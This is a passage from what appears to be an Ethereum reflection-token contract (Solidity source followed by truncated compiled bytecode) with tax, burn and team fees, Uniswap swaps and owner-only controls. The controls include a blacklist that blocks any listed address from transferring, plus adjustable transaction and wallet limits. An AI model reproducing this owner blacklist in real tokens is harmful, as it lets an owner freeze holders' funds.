{ _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _burn(address sender, uint256 tBurn) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tBurn.mul(currentRate); _rOwned[address(0)] = _rOwned[address(0)].add(rLiquidity); if(_isExcluded[address(0)]) _tOwned[address(0)] = _tOwned[address(0)].add(tBurn); emit Transfer(sender, address(0), tBurn); } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tBurn) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _reflectFee(rFee, tFee); if(tBurn > 0) _burn(sender, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require(taxFee <= _taxFee, "Cannot set tax fees more than 5%."); _taxFee = taxFee; } function setBurnFeePercent(uint256 burnFee) external onlyOwner() { require(burnFee <= _burnFee, "Cannot set burn fees more than 5%."); _burnFee = burnFee; } function setTeamFeePercent(uint256 teamFee) external onlyOwner() { require(teamFee <= _teamFee, "Cannot set team fees more than 12%."); _teamFee = teamFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > 500000000, "Max Tx Amount cannot be less than 500 million"); _maxTxAmount = maxTxAmount * 10**18; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Cannot set max tx percentage to 0."); _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function _setMaxWalletSizeAmount(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= 500000000, "Max Tx Amount cannot be less than 500 million"); _maxWalletSize = maxWalletSize * 10**18; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tBurn) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, tBurn, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam, tBurn); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tTeam = calculateTeamFee(tAmount); uint256 tBurn = calculateBurnFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn); return (tTransferAmount, tFee, tTeam, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeAllFee(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**3 ); } function calculateBurnFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee).div( 10**3 ); } function calculateTeamFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_teamFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0 && _burnFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _previousBurnFee = _burnFee; _taxFee = 0; _teamFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; _burnFee = _previousBurnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function contractBalance() public view returns(uint256){ return balanceOf(address(this)); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); require(!snipers[from] && !snipers[to], "Sorry, your account has been blacklisted."); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= _swapTokensAtAmount; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if (takeFee) { if (to != uniswapV2Pair) { require(amount + balanceOf(to) <= _maxWalletSize, "Exceeded max wallet size"); } } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 Balance = address(this).balance; (bool succ, ) = address(taxReceiver).call{value: Balance}(""); require(succ, "marketing ETH not sent"); emit SwapAndLiquify(contractTokenBalance, Balance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function blacklist(address[] memory sniper_) public onlyOwner { for (uint256 i = 0; i < sniper_.length; i++) { if (sniper_[i] != address(this) && sniper_[i] != uniswapV2Pair) { snipers[sniper_[i]] = true; } } } function unbracklist(address notSniper) public onlyOwner { snipers[notSniper] = false; } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tBurn) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _reflectFee(rFee, tFee); if(tBurn > 0) _burn(sender, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tBurn) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _reflectFee(rFee, tFee); if(tBurn > 0) _burn(sender, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tBurn) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); _reflectFee(rFee, tFee); if(tBurn > 0) _burn(sender, tBurn); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102815760003560e01c806370a082311161014f578063a457c2d7116100c1578063d543dbeb1161007a578063d543dbeb146107d5578063dd62ed3e146107f5578063e6ef73d61461083b578063ea2f0b371461085b578063ec28438a1461087b578063f2fde38b1461089b57600080fd5b8063a457c2d71461071f578063a9059cbb1461073f578063ad224c6a1461075f578063c0b0fda21461077f578063cb05388c14610795578063cea26958146107b557600080fd5b80638da5cb5b116101135780638da5cb5b146106805780638f9a55c01461069e57806395d89b41146106b457806397c44288146106c957806398a5c315146106e95780639eb942e51461070957600080fd5b806370a08231146105e7578063715018a6146106075780637d1db4a51461061c57806388f82020146106325780638b7afe2e1461066b57600080fd5b8063313ce567116101f35780634549b039116101ac5780634549b039146104e957806349bd5a5e146105095780634a74bb021461053d57806352390c021461055e5780635342acb41461057e5780635f2ffdeb146105b757600080fd5b8063313ce567146104315780633685d4191461044657806339509351146104665780633b124fe7146104865780633b7e6d4a1461049c578063437823ec146104c957600080fd5b806313114a9d1161024557806313114a9d146103655780631694505e1461037a57806318160ddd146103c657806323b872dd146103db5780632d838119146103fb5780632fd689e31461041b57600080fd5b8063041f173f1461028d578063061c82d0146102af57806306fdde03146102cf578063095ea7b3146102fa5780630cfc15f91461032a57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102ad6102a8366004612a04565b6108bb565b005b3480156102bb57600080fd5b506102ad6102ca366004612ad0565b6109f3565b3480156102db57600080fd5b506102e4610a7e565b6040516102f19190612b13565b60405180910390f35b34801561030657600080fd5b5061031a6103153660046129d8565b610b10565b60405190151581526020016102f1565b34801561033657600080fd5b50610357610345366004612924565b60016020526000908152604090205481565b6040519081526020016102f1565b34801561037157600080fd5b50600d54610357565b34801561038657600080fd5b506103ae7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102f1565b3480156103d257600080fd5b50600b54610357565b3480156103e757600080fd5b5061031a6103f6366004612997565b610b27565b34801561040757600080fd5b50610357610416366004612ad0565b610b90565b34801561042757600080fd5b5061035760165481565b34801561043d57600080fd5b50600a54610357565b34801561045257600080fd5b506102ad610461366004612924565b610c14565b34801561047257600080fd5b5061031a6104813660046129d8565b610dc7565b34801561049257600080fd5b50610357600e5481565b3480156104a857600080fd5b506103576104b7366004612924565b60026020526000908152604090205481565b3480156104d557600080fd5b506102ad6104e4366004612924565b610dfd565b3480156104f557600080fd5b50610357610504366004612ae9565b610e4b565b34801561051557600080fd5b506103ae7f000000000000000000000000ee779e949e18e51edf14cce0c2a418a2644ed35681565b34801561054957600080fd5b5060175461031a90600160a81b900460ff1681565b34801561056a57600080fd5b506102ad610579366004612924565b610eda565b34801561058a57600080fd5b5061031a610599366004612924565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156105c357600080fd5b5061031a6105d2366004612924565b60066020526000908152604090205460ff1681565b3480156105f357600080fd5b50610357610602366004612924565b61102d565b34801561061357600080fd5b506102ad61108c565b34801561062857600080fd5b5061035760145481565b34801561063e57600080fd5b5061031a61064d366004612924565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561067757600080fd5b50610357611100565b34801561068c57600080fd5b506000546001600160a01b03166103ae565b3480156106aa57600080fd5b5061035760155481565b3480156106c057600080fd5b506102e4611110565b3480156106d557600080fd5b506102ad6106e4366004612ad0565b61111f565b3480156106f557600080fd5b506102ad610704366004612ad0565b6111ac565b34801561071557600080fd5b5061035760125481565b34801561072b57600080fd5b5061031a61073a3660046129d8565b6111db565b34801561074b57600080fd5b5061031a61075a3660046129d8565b61122a565b34801561076b57600080fd5b506102ad61077a366004612ad0565b611237565b34801561078b57600080fd5b5061035760105481565b3480156107a157600080fd5b506102ad6107b0366004612924565b61129d565b3480156107c157600080fd5b506102ad6107d0366004612ad0565b6112e8565b3480156107e157600080fd5b506102ad6107f0366004612ad0565b611374565b34801561080157600080fd5b5061035761081036600461295e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561084757600080fd5b506017546103ae906001600160a01b031681565b34801561086757600080fd5b506102ad610876366004612924565b61141f565b34801561088757600080fd5b506102ad610896366004612ad0565b61146a565b3480156108a757600080fd5b506102ad6108b6366004612924565b6114c9565b6000546001600160a01b031633146108ee5760405162461bcd60e51b81526004016108e590612b68565b60405180910390fd5b60005b81518110156109ef57306001600160a01b031682828151811061091657610916612d4d565b60200260200101516001600160a01b03161415801561098057507f000000000000000000000000ee779e949e18e51edf14cce0c2a418a2644ed3566001600160a01b031682828151811061096c5761096c612d4d565b60200260200101516001600160a01b031614155b156109dd5760016006600084848151811061099d5761099d612d4d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806109e781612d06565b9150506108f1565b5050565b6000546001600160a01b03163314610a1d5760405162461bcd60e51b81526004016108e590612b68565b600e54811115610a795760405162461bcd60e51b815260206004820152602160248201527f43616e6e6f7420736574207461782066656573206d6f7265207468616e2035256044820152601760f91b60648201526084016108e5565b600e55565b606060088054610a8d90612ccb565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab990612ccb565b8015610b065780601f10610adb57610100808354040283529160200191610b06565b820191906000526020600020905b815481529060010190602001808311610ae957829003601f168201915b5050505050905090565b6000610b1d3384846115b3565b5060015b92915050565b6000610b348484846116d7565b610b868433610b8185604051806060016040528060288152602001612d92602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611ac2565b6115b3565b5060019392505050565b6000600c54821115610bf75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016108e5565b6000610c01611afc565b9050610c0d8382611b1f565b9392505050565b6000546001600160a01b03163314610c3e5760405162461bcd60e51b81526004016108e590612b68565b6001600160a01b03811660009081526005602052604090205460ff16610ca65760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c726561647920696e636c75646564000000000060448201526064016108e5565b60005b6007548110156109ef57816001600160a01b031660078281548110610cd057610cd0612d4d565b6000918252602090912001546001600160a01b03161415610db55760078054610cfb90600190612cb4565b81548110610d0b57610d0b612d4d565b600091825260209091200154600780546001600160a01b039092169183908110610d3757610d37612d4d565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600590925220805460ff191690556007805480610d8f57610d8f612d37565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610dbf81612d06565b915050610ca9565b3360008181526003602090815260408083206001600160a01b03871684529091528120549091610b1d918590610b819086611b61565b6000546001600160a01b03163314610e275760405162461bcd60e51b81526004016108e590612b68565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000600b54831115610e9f5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016108e5565b81610ebf576000610eaf84611bc0565b50949650610b2195505050505050565b6000610eca84611bc0565b50939650610b2195505050505050565b6000546001600160a01b03163314610f045760405162461bcd60e51b81526004016108e590612b68565b6001600160a01b03811660009081526005602052604090205460ff1615610f6d5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016108e5565b6001600160a01b03811660009081526001602052604090205415610fc7576001600160a01b038116600090815260016020526040902054610fad90610b90565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600560205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6001600160a01b03811660009081526005602052604081205460ff161561106a57506001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260016020526040902054610b2190610b90565b6000546001600160a01b031633146110b65760405162461bcd60e51b81526004016108e590612b68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061110b3061102d565b905090565b606060098054610a8d90612ccb565b6000546001600160a01b031633146111495760405162461bcd60e51b81526004016108e590612b68565b6012548111156111a75760405162461bcd60e51b815260206004820152602360248201527f43616e6e6f7420736574207465616d2066656573206d6f7265207468616e203160448201526219129760e91b60648201526084016108e5565b601255565b6000546001600160a01b031633146111d65760405162461bcd60e51b81526004016108e590612b68565b601655565b6000610b1d3384610b8185604051806060016040528060258152602001612dba602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190611ac2565b6000610b1d3384846116d7565b6000546001600160a01b031633146112615760405162461bcd60e51b81526004016108e590612b68565b631dcd65008110156112855760405162461bcd60e51b81526004016108e590612b9d565b61129781670de0b6b3a7640000612c95565b60155550565b6000546001600160a01b031633146112c75760405162461bcd60e51b81526004016108e590612b68565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146113125760405162461bcd60e51b81526004016108e590612b68565b60105481111561136f5760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206275726e2066656573206d6f7265207468616e2035604482015261129760f11b60648201526084016108e5565b601055565b6000546001600160a01b0316331461139e5760405162461bcd60e51b81526004016108e590612b68565b600081116113f95760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206d61782074782070657263656e7461676520746f20604482015261181760f11b60648201526084016108e5565b611419606461141383600b54611c1b90919063ffffffff16565b90611b1f565b60145550565b6000546001600160a01b031633146114495760405162461bcd60e51b81526004016108e590612b68565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146114945760405162461bcd60e51b81526004016108e590612b68565b631dcd650081116114b75760405162461bcd60e51b81526004016108e590612b9d565b61141981670de0b6b3a7640000612c95565b6000546001600160a01b031633146114f35760405162461bcd60e51b81526004016108e590612b68565b6001600160a01b0381166115585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108e5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166116155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108e5565b6001600160a01b0382166116765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108e5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661173b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108e5565b6001600160a01b03821661179d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108e5565b600081116117ff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108e5565b6000546001600160a01b0384811691161480159061182b57506000546001600160a01b03838116911614155b15611893576014548111156118935760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016108e5565b6001600160a01b03831660009081526006602052604090205460ff161580156118d557506001600160a01b03821660009081526006602052604090205460ff16155b6119335760405162461bcd60e51b815260206004820152602960248201527f536f7272792c20796f7572206163636f756e7420686173206265656e20626c6160448201526831b5b634b9ba32b21760b91b60648201526084016108e5565b600061193e3061102d565b6016549091508110801590819061195f5750601754600160a01b900460ff16155b801561199d57507f000000000000000000000000ee779e949e18e51edf14cce0c2a418a2644ed3566001600160a01b0316856001600160a01b031614155b80156119b25750601754600160a81b900460ff165b156119c0576119c082611c9a565b6001600160a01b03851660009081526004602052604090205460019060ff1680611a0257506001600160a01b03851660009081526004602052604090205460ff165b15611a0b575060005b8015611aae577f000000000000000000000000ee779e949e18e51edf14cce0c2a418a2644ed3566001600160a01b0316856001600160a01b031614611aae57601554611a568661102d565b611a609086612c5b565b1115611aae5760405162461bcd60e51b815260206004820152601860248201527f4578636565646564206d61782077616c6c65742073697a65000000000000000060448201526064016108e5565b611aba86868684611da1565b505050505050565b60008184841115611ae65760405162461bcd60e51b81526004016108e59190612b13565b506000611af38486612cb4565b95945050505050565b6000806000611b09611f24565b9092509050611b188282611b1f565b9250505090565b6000610c0d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a6565b600080611b6e8385612c5b565b905083811015610c0d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108e5565b6000806000806000806000806000806000611bda8c6120d4565b93509350935093506000806000611bfb8f878787611bf6611afc565b612129565b919f509d509b509599509397509195509350505050919395979092949650565b600082611c2a57506000610b21565b6000611c368385612c95565b905082611c438583612c73565b14610c0d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108e5565b6017805460ff60a01b1916600160a01b179055611cb68161218b565b60175460405147916000916001600160a01b039091169083908381818185875af1925050503d8060008114611d07576040519150601f19603f3d011682016040523d82523d6000602084013e611d0c565b606091505b5050905080611d565760405162461bcd60e51b81526020600482015260166024820152751b585c9ad95d1a5b99c8115512081b9bdd081cd95b9d60521b60448201526064016108e5565b60408051848152602081018490527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a150506017805460ff60a01b1916905550565b80611dae57611dae612352565b6001600160a01b03841660009081526005602052604090205460ff168015611def57506001600160a01b03831660009081526005602052604090205460ff16155b15611e0457611dff848484612397565b611f02565b6001600160a01b03841660009081526005602052604090205460ff16158015611e4557506001600160a01b03831660009081526005602052604090205460ff165b15611e5557611dff8484846124e4565b6001600160a01b03841660009081526005602052604090205460ff16158015611e9757506001600160a01b03831660009081526005602052604090205460ff16155b15611ea757611dff8484846125a3565b6001600160a01b03841660009081526005602052604090205460ff168015611ee757506001600160a01b03831660009081526005602052604090205460ff165b15611ef757611dff8484846125fd565b611f028484846125a3565b80611f1e57611f1e600f54600e55601354601255601154601055565b50505050565b600c54600b546000918291825b60075481101561207657826001600060078481548110611f5357611f53612d4d565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611fbe5750816002600060078481548110611f9757611f97612d4d565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611fd457600c54600b54945094505050509091565b61201a6001600060078481548110611fee57611fee612d4d565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612682565b9250612062600260006007848154811061203657612036612d4d565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612682565b91508061206e81612d06565b915050611f31565b50600b54600c5461208691611b1f565b82101561209d57600c54600b549350935050509091565b90939092509050565b600081836120c75760405162461bcd60e51b81526004016108e59190612b13565b506000611af38486612c73565b60008060008060006120e5866126c4565b905060006120f2876126e1565b905060006120ff886126fd565b905060006121198261211385818d89612682565b90612682565b9993985091965094509092505050565b60008080806121388986611c1b565b905060006121468987611c1b565b905060006121548988611c1b565b905060006121628989611c1b565b905060006121768261211385818989612682565b949d949c50929a509298505050505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106121c0576121c0612d4d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561223957600080fd5b505afa15801561224d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122719190612941565b8160018151811061228457612284612d4d565b60200260200101906001600160a01b031690816001600160a01b0316815250506122cf307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846115b3565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612324908590600090869030904290600401612bea565b600060405180830381600087803b15801561233e57600080fd5b505af1158015611aba573d6000803e3d6000fd5b600e541580156123625750601254155b801561236e5750601054155b1561237557565b600e8054600f5560128054601355601080546011556000928390559082905555565b60008060008060008060006123ab88611bc0565b96509650965096509650965096506123f188600260008d6001600160a01b03166001600160a01b031681526020019081526020016000205461268290919063ffffffff16565b6001600160a01b038b166000908152600260209081526040808320939093556001905220546124209088612682565b6001600160a01b03808c1660009081526001602052604080822093909355908b168152205461244f9087611b61565b6001600160a01b038a166000908152600160205260409020556124718261271a565b61247b85846127a3565b801561248b5761248b8a826127c7565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516124d091815260200190565b60405180910390a350505050505050505050565b60008060008060008060006124f888611bc0565b965096509650965096509650965061253e87600160008d6001600160a01b03166001600160a01b031681526020019081526020016000205461268290919063ffffffff16565b6001600160a01b03808c16600090815260016020908152604080832094909455918c168152600290915220546125749085611b61565b6001600160a01b038a1660009081526002602090815260408083209390935560019052205461244f9087611b61565b60008060008060008060006125b788611bc0565b965096509650965096509650965061242087600160008d6001600160a01b03166001600160a01b031681526020019081526020016000205461268290919063ffffffff16565b600080600080600080600061261188611bc0565b965096509650965096509650965061265788600260008d6001600160a01b03166001600160a01b031681526020019081526020016000205461268290919063ffffffff16565b6001600160a01b038b1660009081526002602090815260408083209390935560019052205461253e90885b6000610c0d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ac2565b6000610b216103e8611413600e5485611c1b90919063ffffffff16565b6000610b21606461141360125485611c1b90919063ffffffff16565b6000610b216103e861141360105485611c1b90919063ffffffff16565b6000612724611afc565b905060006127328383611c1b565b3060009081526001602052604090205490915061274f9082611b61565b3060009081526001602090815260408083209390935560059052205460ff161561279e573060009081526002602052604090205461278d9084611b61565b306000908152600260205260409020555b505050565b600c546127b09083612682565b600c55600d546127c09082611b61565b600d555050565b60006127d1611afc565b905060006127df8383611c1b565b6000805260016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49549091506128179082611b61565b600080527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495560056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5460ff16156128cd576000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546128a19084611b61565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b555b6040518381526000906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b803561291f81612d79565b919050565b60006020828403121561293657600080fd5b8135610c0d81612d79565b60006020828403121561295357600080f